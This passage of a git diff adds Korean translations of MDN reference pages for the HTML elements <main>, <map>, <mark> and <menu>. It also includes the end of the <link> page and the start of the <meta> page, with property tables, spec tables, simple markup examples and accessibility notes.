+ <th>가능한 콘텐츠</th>
+ <td>없음. {{Glossary("empty element", "빈 요소")}}입니다.</td>
+ </tr>
+ <tr>
+ <th>태그 생략</th>
+ <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+ </tr>
+ <tr>
+ <th>가능한 부모 요소</th>
+ <td>메타데이터 콘텐츠를 허용하는 모든 요소. <code><a href="/ko/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code>이 존재하면 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th>DOM 인터페이스</th>
+ <td>{{DOMxRef("HTMLLinkElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-link-element', '&lt;link&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No changes from latest snapshot</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-link-element', '&lt;link&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Added <code>crossorigin</code> and <code>sizes</code> attributes; extended values of <code>media</code> to any media queries; added numerous new values for <code>rel</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.3', '&lt;link&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.link", 3)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Link")}} HTTP 헤더</li>
+</ul>
diff --git a/files/ko/web/html/element/main/index.html b/files/ko/web/html/element/main/index.html
new file mode 100644
index 0000000000..3ac94eb7d0
--- /dev/null
+++ b/files/ko/web/html/element/main/index.html
@@ -0,0 +1,172 @@
+---
+title: <main>
+slug: Web/HTML/Element/main
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - HTML sections
+ - Reference
+translation_of: Web/HTML/Element/main
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;main&gt;</code> 요소</strong>는 문서 {{HTMLElement("body")}}의 주요 콘텐츠를 나타냅니다. 주요 콘텐츠 영역은 문서의 핵심 주제나 앱의 핵심 기능에 직접적으로 연결됐거나 확장하는 콘텐츠로 이루어집니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/main.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>{{htmlattrxref("hidden")}} 속성 없이는 문서에 하나보다 많은 <code>&lt;main&gt;</code> 요소가 존재해선 안됩니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content_categories#Flow_content">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content_categories#Flow_content">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 요소. 단, <a href="https://html.spec.whatwg.org/multipage/grouping-content.html#hierarchically-correct-main-element">구조적으로 올바른 <code>&lt;main&gt;</code> 요소</a>여야 합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>기본적으로 <code>main</code> 역할 포함, {{ARIARole("presentation")}} 가능.</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;main&gt;</code> 요소의 콘텐츠는 문서의 유일한 내용이어야 합니다. 사이드바, 탐색 링크, 저작권 정보, 사이트 로고, 검색 폼 등 여러 문서에 걸쳐 반복되는 콘텐츠는 포함해선 안됩니다. 그러나 검색 폼이 페이지의 주요 기능이라면 예외로 둘 수 있습니다.</p>
+
+<p><code>&lt;main&gt;</code>은 요소 개요에 영향을 주지 않습니다. {{htmlelement("body")}} 등의 요소나 {{htmlelement("h2")}}와 같은 제목 요소와 달리 <code>&lt;main&gt;</code>은 페이지의 개념적 구조를 바꾸지 않으며 온전히 정보 제공용입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;!-- other content --&gt;
+
+&lt;main&gt;
+ &lt;h1&gt;Apples&lt;/h1&gt;
+ &lt;p&gt;The apple is the pomaceous fruit of the apple tree.&lt;/p&gt;
+
+ &lt;article&gt;
+ &lt;h2&gt;Red Delicious&lt;/h2&gt;
+ &lt;p&gt;These bright red apples are the most common found in many
+ supermarkets.&lt;/p&gt;
+ &lt;p&gt;... &lt;/p&gt;
+ &lt;p&gt;... &lt;/p&gt;
+ &lt;/article&gt;
+
+ &lt;article&gt;
+ &lt;h2&gt;Granny Smith&lt;/h2&gt;
+ &lt;p&gt;These juicy, green apples make a great filling for
+ apple pies.&lt;/p&gt;
+ &lt;p&gt;... &lt;/p&gt;
+ &lt;p&gt;... &lt;/p&gt;
+ &lt;/article&gt;
+
+&lt;/main&gt;
+
+&lt;!-- other content --&gt;</pre>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<h3 id="랜드마크">랜드마크</h3>
+
+<p><code>&lt;main&gt;</code> 요소는 <a href="/ko/docs/Web/Accessibility/ARIA/Roles/Main_role"><code>main</code> 랜드마크</a> 역할과 동일하게 행동합니다. <a href="/ko/docs/Web/Accessibility/ARIA/ARIA_Techniques">랜드마크</a>는 접근성 보조기술이 문서의 큰 구획을 찾고 이동할 때 쓰입니다. 구형 브라우저를 지원할 필요가 없다면, <code>role="main"</code>보다 <code>&lt;main&gt;</code> 요소를 사용하세요.</p>
+
+<h3 id="건너뛰기_링크">건너뛰기 링크</h3>
+
+<p>건너뛰기 링크, 스킵 내비게이션(skipnav)은 접근성 보조기술이 주요 탐색 구획, 정보 배너 등 반복되는 큰 구획을 빠르게 넘어갈 수 있도록 지원하는 기법으로, 사용자가 페이지의 주요 내용으로 신속하게 접근할 수 있도록 도와줍니다.</p>
+
+<p><code>&lt;main&gt;</code> 요소에 {{htmlattrxref("id")}} 요소를 추가해 건너뛰기 링크의 대상으로 지정하세요.</p>
+
+<pre class="brush: html">&lt;body&gt;
+ &lt;a href="#main-content"&gt;Skip to main content&lt;/a&gt;
+
+ &lt;!-- navigation and header content --&gt;
+
+ &lt;main id="main-content"&gt;
+ &lt;!-- main page content --&gt;
+ &lt;/main&gt;
+&lt;/body&gt;
+</pre>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/skipnav/">WebAIM: "Skip Navigation" Links</a></li>
+</ul>
+
+<h3 id="읽기_모드">읽기 모드</h3>
+
+<p>브라우저 읽기 모드는 문서 콘텐츠를 변환할 때 <code>&lt;main&gt;</code> 요소와 더불어 <a href="/ko/docs/Web/HTML/Element/Heading_Elements">제목</a>과 <a href="/ko/docs/Web/HTML/Element#콘텐츠_구획">콘텐츠 구획</a> 요소를 사용합니다.</p>
+
+<ul>
+ <li><a href="https://medium.com/@mandy.michael/building-websites-for-safari-reader-mode-and-other-reading-apps-1562913c86c9">Building websites for Safari Reader Mode and other reading apps.</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#the-main-element', '&lt;main&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>No change from {{SpecName('HTML5 W3C')}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>대부분의 브라우저에서 <code>&lt;main&gt;</code> 요소를 지원합니다. 그러나 Internet Explorer 11 이하를 지원할 땐 <code>&lt;main&gt;</code> 요소에 <code>"main"</code> {{glossary("ARIA")}} 역할을 명시해 접근성을 확보하는 것이 좋습니다.</p>
+
+<pre class="brush: html">&lt;main role="main"&gt;
+ ...
+&lt;/main&gt;
+</pre>
+
+
+
+<p>{{Compat("html.elements.main")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>기본 구조 요소: {{HTMLElement("html")}}, {{HTMLElement("head")}}, {{HTMLElement("body")}}</li>
+ <li>구획 관련 요소: {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, {{HTMLElement("nav")}}</li>
+ <li><a href="/ko/docs/Web/Accessibility/ARIA/Roles/Main_role">ARIA: Main role</a></li>
+</ul>
diff --git a/files/ko/web/html/element/map/index.html b/files/ko/web/html/element/map/index.html
new file mode 100644
index 0000000000..a990f09dce
--- /dev/null
+++ b/files/ko/web/html/element/map/index.html
@@ -0,0 +1,121 @@
+---
+title: <map>
+slug: Web/HTML/Element/map
+tags:
+ - Element
+ - HTML
+ - HTML embedded content
+ - Multimedia
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/map
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;map&gt;</code> 요소</strong>는 {{htmlelement("area")}} 요소와 함께 이미지 맵(클릭 가능한 링크 영역)을 정의할 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/map.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>모든 <a href="/ko/docs/Web/Guide/HTML/Content_categories#투명_콘텐츠_모델">투명한</a> 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLMapElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>맵을 참조할 때 사용할 수 있는 이름. 반드시 존재해야 하고, 값이 비면 안되며, 값에 공백 문자가 포함되어도 안됩니다. <code>name</code> 특성은 문서 내의 모든 <code>&lt;map&gt;</code>에서 유일해야 합니다. {{htmlattrxref("id")}} 특성이 존재하는 경우 <code>name</code>과 값이 동일해야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;map name="primary"&gt;
+ &lt;area shape="circle" coords="75,75,75" href="left.html"&gt;
+ &lt;area shape="circle" coords="275,75,75" href="right.html"&gt;
+&lt;/map&gt;
+&lt;img usemap="#primary" src="https://placehold.it/350x150" alt="350 x 150 pic"&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "350", "150")}}</p>
+
+<h3 id="예상_결과">예상 결과</h3>
+
+<p>키보드의 탭을 눌렀을 때, 위의 예제는 아래 사진처럼 나와야 합니다.</p>
+
+<p><code>left.html</code> 링크:<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/14595/Screen%20Shot%202017-02-02%20at%2010.48.40%20PM.png" style="height: 156px; width: 356px;"></p>
+
+<p><code>right:html</code> 링크:<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/14597/Screen%20Shot%202017-02-02%20at%2010.49.04%20PM.png" style="height: 157px; width: 355px;"></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-map-element', '&lt;map&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'semantics-embedded-content.html#the-map-element', '&lt;map&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.6.1', '&lt;map&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.map")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("a")}}</li>
+ <li>{{HTMLElement("area")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/mark/index.html b/files/ko/web/html/element/mark/index.html
new file mode 100644
index 0000000000..77a5325fc5
--- /dev/null
+++ b/files/ko/web/html/element/mark/index.html
@@ -0,0 +1,161 @@
+---
+title: <mark>
+slug: Web/HTML/Element/mark
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/mark
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;mark&gt;</code> 요소</strong>는 현재 맥락에 관련이 깊거나 중요해 표시 또는 하이라이트한 부분을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/mark.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>일반적인 <code>&lt;mark&gt;</code> 요소의 사용처는 다음과 같습니다.</p>
+
+<ul>
+ <li>인용문({{HTMLElement("q")}}, {{HTMLElement("blockquote")}})에서는, 원본엔 별도 표시가 없으나 특별히 봐야 하는 부분을, 그리고 원저자는 특별히 중요하다고는 생각하지 않았으나 주시해야 할 필요가 있는 부분을 표시합니다. 형광펜을 사용해 중요해 보이는 책에 강조 표시를 추가하는 것처럼 생각하면 됩니다.</li>
+ <li>다른 경우, <code>&lt;mark&gt;</code>는 문서 콘텐츠에서 사용자의 현재 행동과 관련 있는 부분을 나타낼 때 사용합니다. 예를 들어, 현재 검색 키워드를 강조 표시할 때 사용할 수 있습니다.</li>
+ <li><code>&lt;mark&gt;</code>를 표시만을 위한 용도로 사용하지 마세요. {{htmlelement("span")}}과 적절한 CSS를 대신 사용해야 합니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><code>&lt;mark&gt;</code>와 {{HTMLElement("strong")}} 요소의 차이점을 기억하세요. 텍스트에서, <code>&lt;mark&gt;</code>는 연관성을 가진 부분을, <code>&lt;strong&gt;</code>은 중요도를 가진 부분을 나타낼 때 사용합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="관심_부분_표시하기">관심 부분 표시하기</h3>
+
+<p>첫 예제의 <code>&lt;mark&gt;</code> 요소는 인용문에서 사용자가 관심을 가질 텍스트를 강조할 때 사용합니다.</p>
+
+<pre class="brush: html">&lt;blockquote&gt;
+ It is a period of civil war. Rebel spaceships, striking from a
+ hidden base, have won their first victory against the evil
+ Galactic Empire. During the battle, &lt;mark&gt;Rebel spies managed
+ to steal secret plans&lt;/mark&gt; to the Empire’s ultimate weapon,
+ the DEATH STAR, an armored space station with enough power to
+ destroy an entire planet.
+&lt;/blockquote&gt;</pre>
+
+<p>{{EmbedLiveSample("관심_부분_표시하기", 650, 130)}}</p>
+
+<h3 id="상황에_맞는_구절_식별">상황에 맞는 구절 식별</h3>
+
+<p>다음 예제는 글의 검색 결과를 강조할 용도로 <code>&lt;mark&gt;</code>를 사용합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;It is a dark time for the Rebellion. Although the Death
+Star has been destroyed, &lt;mark class="match"&gt;Imperial&lt;/mark&gt;
+troops have driven the Rebel forces from their hidden base and
+pursued them across the galaxy.&lt;/p&gt;
+
+&lt;p&gt;Evading the dreaded &lt;mark class="match"&gt;Imperial&lt;/mark&gt;
+Starfleet, a group of freedom fighters led by Luke Skywalker
+has established a new secret base on the remote ice world of
+Hoth.&lt;/p&gt;</pre>
+
+<p>다른 <code>&lt;mark&gt;</code>와 검색 결과 표시를 구별하기 위해 사용자 지정 클래스 <code>"match"</code>를 추가로 적용했습니다.</p>
+
+<p>{{EmbedLiveSample("상황에_맞는_구절_식별", 650, 130)}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>대부분의 스크린 리더는 기본값에서 <code>&lt;mark&gt;</code> 요소의 존재를 표현하지 않습니다. 그러나 CSS {{cssxref("content")}} 속성과 {{cssxref("::before")}}, {{cssxref("::after")}} 의사 요소를 사용하면 소리내어 읽도록 할 수 있습니다.</p>
+
+<pre class="brush: css">mark::before,
+mark::after {
+ clip-path: inset(100%);
+ clip: rect(1px, 1px, 1px, 1px);
+ height: 1px;
+ overflow: hidden;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+
+mark::before {
+ content: " [강조 시작] ";
+}
+
+mark::after {
+ content: " [강조 끝] ";
+}
+</pre>
+
+<p>스크린 리더 사용자 일부는 지나치게 자세한 안내를 유발할 수 있는 콘텐츠의 표현을 의도적으로 꺼놓습니다. 그러므로 이 방식을 남용해선 안되며, 콘텐츠의 이해에 강조표시의 유무가 꼭 필요할 때만 사용해야 합니다.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">Short note on making your mark (more accessible) | The Paciello Group</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html">Tweaking Text Level Styles | Adrian Roselli</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-mark-element', '&lt;mark&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-mark-element', '&lt;mark&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.mark")}}</p>
diff --git a/files/ko/web/html/element/menu/index.html b/files/ko/web/html/element/menu/index.html
new file mode 100644
index 0000000000..c6034eb98e
--- /dev/null
+++ b/files/ko/web/html/element/menu/index.html
@@ -0,0 +1,132 @@
+---
+title: <menu>
+slug: Web/HTML/Element/menu
+translation_of: Web/HTML/Element/menu
+---
+<div>{{HTMLRef}}{{SeeCompatTable}}</div>
+
+<p><strong>HTML <code>&lt;menu&gt;</code> 요소</strong>는 사용자가 수행하거나 하는 명령 묶음을 말합니다. 이것은 스크린 위에 나오는 목록 메뉴와 눌려진 버튼 아래에 나오는 것과 같은 맥락 메뉴를 포함합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>. Additionally, if in the <em>list menu</em> state, palpable content. (<em>list menu</em> is the default state, unless the parent element is a {{HTMLElement("menu")}} in the <em>context menu</em> state.)</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted content</th>
+ <td>If the element is in the <em>list menu</em> state: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, or alternatively, zero or more occurrences of {{HTMLElement("li")}}, {{HTMLElement("script")}}, and {{HTMLElement("template")}}.<br>
+ If the element is in the <em>context menu</em> state: zero or more occurrences, in any order, of {{HTMLElement("menu")}} (<em>context menu</em> state only), {{HTMLElement("menuitem")}}, {{HTMLElement("hr")}}, {{HTMLElement("script")}}, and {{HTMLElement("template")}}.</td>
+ </tr>
+ <tr>
+ <th scope="row">Tag omission</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted parent elements</th>
+ <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM interface</th>
+ <td>{{domxref("HTMLMenuElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<p>이 요소는 <a href="/en-US/docs/Web/HTML/Global_attributes">전역 속성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>사용자에게 보여지는 메뉴의 이름입니다. Used within nested menus, to provide a label through which the submenu can be accessed. Must only be specified when the parent element is a {{HTMLElement("menu")}} in the <em>context menu</em> state.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>This attribute indicates the kind of menu being declared, and can be one of two values.
+ <ul>
+ <li><code>context</code>: The <em>context menu</em> state, which represents a group of commands activated through another element. This might be through the {{htmlattrxref("menu", "button")}} attribute of a {{HTMLElement("button")}}, or an element with a <a href="/en-US/docs/HTML/Global_attributes#attr-contextmenu"><code>contextmenu</code></a> attribute. When nesting {{HTMLElement("menu")}} elements directly within one another, this is the missing value default if the parent is already in this state.</li>
+ <li><code>list</code>: The <em>list menu</em> state, which represents a series of commands for user interaction. This is the missing value default, except where the parent element is a {{HTMLElement("menu")}} in the <em>context menu</em> state.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Example_1">Example 1</h3>
+
+<pre class="brush: html">&lt;!-- A button, which displays a menu when clicked. --&gt;
+&lt;button type="menu" menu="dropdown-menu"&gt;
+ Dropdown
+&lt;/button&gt;
+
+&lt;menu type="context" id="dropdown-menu"&gt;
+ &lt;menuitem label="Action"&gt;
+ &lt;menuitem label="Another action"&gt;
+ &lt;hr&gt;
+ &lt;menuitem label="Separated action"&gt;
+&lt;/menu&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example_1')}}</p>
+
+<h3 id="Example_2">Example 2</h3>
+
+<pre class="brush: html">&lt;!-- A context menu for a simple editor, containing two menu buttons. --&gt;
+&lt;menu&gt;
+ &lt;li&gt;
+ &lt;button type="menu" value="File" menu="file-menu"&gt;
+ &lt;menu type="context" id="file-menu"&gt;
+ &lt;menuitem label="New..." onclick="newFile()"&gt;
+ &lt;menuitem label="Save..." onclick="saveFile()"&gt;
+ &lt;/menu&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;button type="menu" value="Edit" menu="edit-menu"&gt;
+ &lt;menu type="context" id="edit-menu"&gt;
+ &lt;menuitem label="Cut..." onclick="cutEdit()"&gt;
+ &lt;menuitem label="Copy..." onclick="copyEdit()"&gt;
+ &lt;menuitem label="Paste..." onclick="pasteEdit()"&gt;
+ &lt;/menu&gt;
+ &lt;/li&gt;
+&lt;/menu&gt;
+</pre>
+
+<h3 id="Result_2">Result</h3>
+
+<p>{{EmbedLiveSample('Example_2')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'interactive-elements.html#the-menu-element', '&lt;menu&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-menu-element', '&lt;menu&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.menu")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Other list-related HTML Elements: {{HTMLElement("ol")}}, {{HTMLElement("ul")}}, {{HTMLElement("li")}} and the obsolete {{HTMLElement("dir")}}.</li>
+ <li>The <a href="/en-US/docs/HTML/Global_attributes#attr-contextmenu"><code>contextmenu</code></a> <a href="/en-US/docs/HTML/Global_attributes">global attribute</a> can be used on an element to refer to the <code>id</code> of a <code>menu</code> with the <code>context</code> {{htmlattrxref("type","menu")}}.</li>
+</ul>
diff --git a/files/ko/web/html/element/meta/index.html b/files/ko/web/html/element/meta/index.html
new file mode 100644
index 0000000000..3454e4d866
--- /dev/null
+++ b/files/ko/web/html/element/meta/index.html
@@ -0,0 +1,151 @@
+---
+title: '<meta>: 문서 레벨 메타데이터 요소'
+slug: Web/HTML/Element/meta
+tags:
+ - Element
+ - HTML
+ - HTML document metadata
+ - Reference
+ - Web
+ - metadata
+translation_of: Web/HTML/Element/meta
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;meta&gt;</code> 요소</strong>는 {{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, {{HTMLElement("title")}}과 같은 다른 메타관련 요소로 나타낼 수 없는 {{glossary("Metadata", "메타데이터")}}를 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
